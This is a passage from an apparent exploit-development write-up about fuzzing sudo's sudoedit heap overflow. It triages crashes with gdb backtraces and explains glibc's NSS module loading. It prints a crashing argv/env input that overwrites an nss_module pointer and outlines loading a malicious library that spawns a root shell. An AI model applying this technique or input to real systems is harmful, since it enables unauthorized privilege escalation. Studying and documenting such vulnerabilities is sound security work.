#7  0x00007ffff7e516db in _int_free (av=0x7ffff7f8dc60 <main_arena>, p=0x5555555941c0, have_lock=<optimized out>, have_lock@entry=0) at ./malloc/malloc.c:4612
#8  0x00007ffff7e53e8f in __GI___libc_free (mem=<optimized out>) at ./malloc/malloc.c:3385
#9  0x00007ffff7ded5b0 in __GI_setlocale (category=<optimized out>, locale=<optimized out>) at ./locale/setlocale.c:401
#10 0x00007ffff7d114e6 in sudoers_setlocale (newlocale=1, prevlocale=0x7fffffffd54c) at ./locale.c:120
#11 0x00007ffff7d21753 in sudoers_policy_main (argc=14, argv=0x7fffffffd9a8, pwflag=0, env_add=0x0, verbose=false, closure=0x7fffffffd630) at ./sudoers.c:327
#12 0x00007ffff7d1ca7c in sudoers_policy_check (argc=14, argv=0x7fffffffd9a8, env_add=0x0, command_infop=0x7fffffffd718, argv_out=0x7fffffffd720, user_env_out=0x7fffffffd728) at ./policy.c:872
#13 0x0000555555572f88 in policy_check (plugin=0x555555583920 <policy_plugin>, argc=14, argv=0x7fffffffd9a8, env_add=0x0, command_info=0x7fffffffd718, argv_out=0x7fffffffd720, user_env_out=0x7fffffffd728) at ./sudo.c:1186
#14 0x000055555556e6ed in main (argc=16, argv=0x7fffffffd998, envp=0x7fffffffda20) at ./sudo.c:301

last_fuzzer_iteration: 565233
total unique crashes : 161

As you can see, for each unique crash, we print the number of times that the crash happened, all input files that trigger the crash, and a sample backtrace. So, what do we do next?

Manual triaging

We have 161 unique crashes. Welp, we simply manually analyze them one by one. In the sudo playlist from LiveOverflow, we were looking for a crash in __tsearch. But I didn’t observe any crashes there, ever. And I ran the fuzzer for hours. Maybe 1-2 days…

My dumb brain, in ignorance of what I was to expect when I started this journey, I swtitched FROM ubuntu:20.04 in the Dockerfile to FROM debian:12.5 for reasons uncomprehendable to me. Well, ubuntu 20.04 is running glibc-2.31 and __tsearch appears in nss/nsswitch.c:__nss_lookup_function.

However, Debian 12.5 is running GNU C Library (Debian GLIBC 2.36-9+deb12u4) stable release version 2.36. And if we look at the source code and the references of __tsearch, it is nowhere to be found in the nss library!

During my manual triaging, I was blaming the fuzzer for the absence of a __tsearch crash and didn’t realize that there was no __tsearch to crash in the first place! Nevertheless, I didn’t give up and went through the 161 crashes manually…

Some of them were easily discardable and others I loaded them into gdb to inspect things. Crashes that contained __GI___nss_lookup_function and __nss_module_load seemed the most promising ones. This is because these functions indicate that they load some native library. Our exploitation idea here is to corrupt some heap data so that they load an arbitrary library of our choice instead. If we manage to make sudo to load an arbitrary library, then it is game over. The reason is that we can craft a library that uses the __attribute__ ((constructor)) to execute code upon loading, which can be an execve("/bin/sh").

So, out of all the crashes, manual debugging, and trial and error, the one that eventually stood out was the following:

Count: 3
Files: inp.457687, inp.552213, inp.553068
#0  __nss_module_get_function (module=0x4242424242424242, name=name@entry=0x7ffff7f52525 "initgroups_dyn") at ./nss/nss_module.c:336
#1  0x00007ffff7eecfad in __GI___nss_lookup_function (ni=<optimized out>, fct_name=fct_name@entry=0x7ffff7f52525 "initgroups_dyn") at ./nss/nsswitch.c:137
#2  0x00007ffff7e8bb8c in internal_getgrouplist (user=user@entry=0x55555558e4f8 "root", group=group@entry=0, size=size@entry=0x7fffffffd2f8, groupsp=groupsp@entry=0x7fffffffd300, limit=limit@entry=-1) at ./grp/initgroups.c:95
#3  0x00007ffff7e8be28 in getgrouplist (user=0x55555558e4f8 "root", group=0, groups=0x7ffff7c5e010, ngroups=0x7fffffffd364) at ./grp/initgroups.c:156
#4  0x00007ffff7fafde6 in sudo_getgrouplist2_v1 (name=0x55555558e4f8 "root", basegid=0, groupsp=0x7fffffffd3c0, ngroupsp=0x7fffffffd3b4) at ./getgrouplist.c:105
#5  0x00007ffff7d3b953 in sudo_make_gidlist_item (pw=0x55555558e4c8, unused1=0x0, type=1) at ./pwutil_impl.c:272
#6  0x00007ffff7d3a367 in sudo_get_gidlist (pw=0x55555558e4c8, type=1) at ./pwutil.c:932
#7  0x00007ffff7d32683 in runas_getgroups () at ./match.c:145
#8  0x00007ffff7d202c7 in runas_setgroups () at ./set_perms.c:1714
#9  0x00007ffff7d1ead8 in set_perms (perm=5) at ./set_perms.c:281
#10 0x00007ffff7d16559 in sudoers_lookup (snl=0x7ffff7d5dce0 <snl>, pw=0x55555558e4c8, validated=96, pwflag=0) at ./parse.c:303
#11 0x00007ffff7d21776 in sudoers_policy_main (argc=6, argv=0x7fffffffde98, pwflag=0, env_add=0x0, verbose=false, closure=0x7fffffffdb20) at ./sudoers.c:328
#12 0x00007ffff7d1ca7c in sudoers_policy_check (argc=6, argv=0x7fffffffde98, env_add=0x0, command_infop=0x7fffffffdc08, argv_out=0x7fffffffdc10, user_env_out=0x7fffffffdc18) at ./policy.c:872
#13 0x0000555555572f88 in policy_check (plugin=0x555555583920 <policy_plugin>, argc=6, argv=0x7fffffffde98, env_add=0x0, command_info=0x7fffffffdc08, argv_out=0x7fffffffdc10, user_env_out=0x7fffffffdc18) at ./sudo.c:1186
#14 0x000055555556e6ed in main (argc=8, argv=0x7fffffffde88, envp=0x7fffffffded0) at ./sudo.c:301

As you can see, we are crashing in __nss_module_get_function, which when there is no crash, further down its path invokes __nss_module_load. We control the module argument, which is of type struct nss_module. I won’t bore you with libc internals but will get straight to the point:

/* A NSS service module (potentially unloaded).  Client code should
   use the functions below.  */
struct nss_module
{
  int state;
  //...

  /* Only used for __libc_freeres unloading.  */
  void *handle;

  /* The next module in the list. */
  struct nss_module *next;

  /* The name of the module (as it appears in /etc/nsswitch.conf).  */
  char name[];
};

// Let's examine the backtrace now and understand how we can reash
// `__nss_module_load` from `__nss_module_get_function`.
// Code heavily simplified.

// https://elixir.bootlin.com/glibc/glibc-2.36.9000/source/grp/initgroups.c#L95
internal_getgrouplist() {
  __nss_lookup_function (nip, "initgroups_dyn");
}

// https://elixir.bootlin.com/glibc/glibc-2.36.9000/source/nss/nsswitch.c#L137
__nss_lookup_function (nss_action_list ni, const char *fct_name)
{
  return __nss_module_get_function (ni->module, fct_name);
}

// https://elixir.bootlin.com/glibc/glibc-2.36.9000/source/nss/nss_module.c#L336
__nss_module_get_function (struct nss_module *module, const char *name)
{
  /* A successful dlopen might clobber errno.   */
  int saved_errno = errno;

  if (!__nss_module_load (module))
    //...
}
__nss_module_load (struct nss_module *module)
{
  switch ((enum nss_module_state) atomic_load_acquire (&module->state))
    {
    case 0: //nss_module_uninitialized
      return module_load (module);
      //...
    }
}

module_load (struct nss_module *module)
{
  if (strcmp (module->name, "files") == 0)
    return module_load_nss_files (module);
  if (strcmp (module->name, "dns") == 0)
    return module_load_nss_dns (module);

  void *handle;
  {
    char *shlib_name;
    if (__asprintf (&shlib_name, "libnss_%s.so%s",
                    module->name, __nss_shlib_revision) < 0)
      /* This is definitely a temporary failure.  Do not update
         module->state.  This will trigger another attempt at the next
         call.  */
      return false;

    handle = __libc_dlopen (shlib_name); //our job is done if __libc_dlopen succeeds
  }
}
//...

So, as you can see, if the following pre-conditions hold:

  1. module->state == 0
  2. module->name is a valid pointer to a string

Then we can load the library named libnss_%s.so.2. Recall our stacktrace:

#0  __nss_module_get_function (module=0x4242424242424242, name=name@entry=0x7ffff7f52525 "initgroups_dyn")

Exploit development

We control the function pointer module completely. However we have no leaks. Maybe with a partial overwrite of the pointer we are lucky and our pre-condtiions can be met. Here is the inp.553068 file that causes this crash:

{
  "input": {
    "gdbcmd": [
      "gdb",
      "-q",
      "-iex",
      "set confirm off",
      "-iex",
      "set pagination off",
      "-iex",
      "set disable-randomization on",
      "-iex",
      "set exec-wrapper ./gdb-argv0-wrapper.sh ./////0edit",
      "-x",
      "./gdbscript.py",
      "--nh",
      "--args",
      "./0edit",
      "-hB",
      "-i",
      "AAAAAAAAAAAAAAAAAAAA\\",
      "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
      "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
      "BBB",
      "BBBBBB"
    ],
    "cmd": [
      "./////0edit",
      "-hB",
      "-i",
      "AAAAAAAAAAAAAAAAAAAA\\",
      "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
      "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
      "BBB",
      "BBBBBB"
    ],
    "env": {
      "PWNLIB_NOTERM": "1",
      "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "HOME": "/root",
      "LC_CTYPE": "C.UTF-8",
      "TZ": "NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN",
      "GCONV_PATH": "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ",
      "YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY": "000000000000000000000000000000000000000000000000"
    }
  },
  "output": {
    "raw": "<omitted>",
    "reason": "SIGSEGV",
    "context": "",
    "env": {
      "PWNLIB_NOTERM": "1",
      "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "HOME": "/root",
      "LC_CTYPE": "C.UTF-8",
      "TZ": "NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN",
      "GCONV_PATH": "QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ",
      "YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY": "000000000000000000000000000000000000000000000000",
      "LINES": "24",
      "COLUMNS": "80"
    },
    "bt": [
      {
        "raw": "#0  __nss_module_get_function (module=0x4242424242422042, name=name@entry=0x7ffff7f52525 \"initgroups_dyn\") at ./nss/nss_module.c:336",
        "num": "0",
        "addr": "0",
        "funcname": "__nss_module_get_function",
        "args": [
          "module=0x4242424242422042",
          "name=name@entry=0x7ffff7f52525 \"initgroups_dyn\""
        ],
        "filename": "./nss/nss_module.c:336"
      },
      {
        "raw": "#1  0x00007ffff7eecfad in __GI___nss_lookup_function (ni=<optimized out>, fct_name=fct_name@entry=0x7ffff7f52525 \"initgroups_dyn\") at ./nss/nsswitch.c:137",
        "num": "1",
        "addr": "0x00007ffff7eecfad",
        "funcname": "__GI___nss_lookup_function",
        "args": [
          "ni=<optimized out>",
          "fct_name=fct_name@entry=0x7ffff7f52525 \"initgroups_dyn\""
        ],
        "filename": "./nss/nsswitch.c:137"
      },
      {
        "raw": "#2  0x00007ffff7e8bb8c in internal_getgrouplist (user=user@entry=0x55555558ce88 \"root\", group=group@entry=0, size=size@entry=0x7fffffffd198, groupsp=groupsp@entry=0x7fffffffd1a0, limit=limit@entry=-1) at ./grp/initgroups.c:95",
        "num": "2",
        "addr": "0x00007ffff7e8bb8c",
        "funcname": "internal_getgrouplist",
        "args": [
          "user=user@entry=0x55555558ce88 \"root\"",
          "group=group@entry=0",
          "size=size@entry=0x7fffffffd198",
          "groupsp=groupsp@entry=0x7fffffffd1a0",
          "limit=limit@entry=-1"
        ],
        "filename": "./grp/initgroups.c:95"
      },
      {
        "raw": "#3  0x00007ffff7e8be28 in getgrouplist (user=0x55555558ce88 \"root\", group=0, groups=0x7ffff7c5e010, ngroups=0x7fffffffd204) at ./grp/initgroups.c:156",
        "num": "3",
        "addr": "0x00007ffff7e8be28",
        "funcname": "getgrouplist",
        "args": [
          "user=0x55555558ce88 \"root\"",
          "group=0",
          "groups=0x7ffff7c5e010",
          "ngroups=0x7fffffffd204"
        ],
        "filename": "./grp/initgroups.c:156"
      },
      {
        "raw": "#4  0x00007ffff7fafde6 in sudo_getgrouplist2_v1 (name=0x55555558ce88 \"root\", basegid=0, groupsp=0x7fffffffd260, ngroupsp=0x7fffffffd254) at ./getgrouplist.c:105",
        "num": "4",
        "addr": "0x00007ffff7fafde6",
        "funcname": "sudo_getgrouplist2_v1",
        "args": [
          "name=0x55555558ce88 \"root\"",
          "basegid=0",
          "groupsp=0x7fffffffd260",
          "ngroupsp=0x7fffffffd254"
        ],
        "filename": "./getgrouplist.c:105"
      },
      {
        "raw": "#5  0x00007ffff7d3b953 in sudo_make_gidlist_item (pw=0x55555558ce58, unused1=0x0, type=1) at ./pwutil_impl.c:272",
        "num": "5",
        "addr": "0x00007ffff7d3b953",
        "funcname": "sudo_make_gidlist_item",
        "args": [
          "pw=0x55555558ce58",
          "unused1=0x0",
          "type=1"
        ],
        "filename": "./pwutil_impl.c:272"
      },
      {
        "raw": "#6  0x00007ffff7d3a367 in sudo_get_gidlist (pw=0x55555558ce58, type=1) at ./pwutil.c:932",
        "num": "6",
        "addr": "0x00007ffff7d3a367",
        "funcname": "sudo_get_gidlist",
        "args": [
          "pw=0x55555558ce58",
          "type=1"
        ],
        "filename": "./pwutil.c:932"
      },
      {
        "raw": "#7  0x00007ffff7d32683 in runas_getgroups () at ./match.c:145",
        "num": "7",
        "addr": "0x00007ffff7d32683",
        "funcname": "runas_getgroups",
        "args": [],
        "filename": "./match.c:145"
      },
      {
        "raw": "#8  0x00007ffff7d202c7 in runas_setgroups () at ./set_perms.c:1714",
        "num": "8",
        "addr": "0x00007ffff7d202c7",
        "funcname": "runas_setgroups",
        "args": [],
        "filename": "./set_perms.c:1714"
      },
      {
        "raw": "#9  0x00007ffff7d1ead8 in set_perms (perm=5) at ./set_perms.c:281",
        "num": "9",
        "addr": "0x00007ffff7d1ead8",
        "funcname": "set_perms",
        "args": [
          "perm=5"
        ],
        "filename": "./set_perms.c:281"
      },
      {
        "raw": "#10 0x00007ffff7d16559 in sudoers_lookup (snl=0x7ffff7d5dce0 <snl>, pw=0x55555558ce58, validated=96, pwflag=0) at ./parse.c:303",
        "num": "10",
        "addr": "0x00007ffff7d16559",
        "funcname": "sudoers_lookup",
        "args": [
          "snl=0x7ffff7d5dce0 <snl>",
          "pw=0x55555558ce58",
          "validated=96",
          "pwflag=0"
        ],
        "filename": "./parse.c:303"
      },
      {
        "raw": "#11 0x00007ffff7d21776 in sudoers_policy_main (argc=6, argv=0x7fffffffdd38, pwflag=0, env_add=0x0, verbose=false, closure=0x7fffffffd9c0) at ./sudoers.c:328",
        "num": "11",
        "addr": "0x00007ffff7d21776",
        "funcname": "sudoers_policy_main",
        "args": [
          "argc=6",
          "argv=0x7fffffffdd38",
          "pwflag=0",
          "env_add=0x0",
          "verbose=false",
          "closure=0x7fffffffd9c0"
        ],
        "filename": "./sudoers.c:328"
      },
      {
        "raw": "#12 0x00007ffff7d1ca7c in sudoers_policy_check (argc=6, argv=0x7fffffffdd38, env_add=0x0, command_infop=0x7fffffffdaa8, argv_out=0x7fffffffdab0, user_env_out=0x7fffffffdab8) at ./policy.c:872",
        "num": "12",
        "addr": "0x00007ffff7d1ca7c",
        "funcname": "sudoers_policy_check",
        "args": [
          "argc=6",
          "argv=0x7fffffffdd38",
          "env_add=0x0",
          "command_infop=0x7fffffffdaa8",
          "argv_out=0x7fffffffdab0",
          "user_env_out=0x7fffffffdab8"
        ],
        "filename": "./policy.c:872"
      },
      {
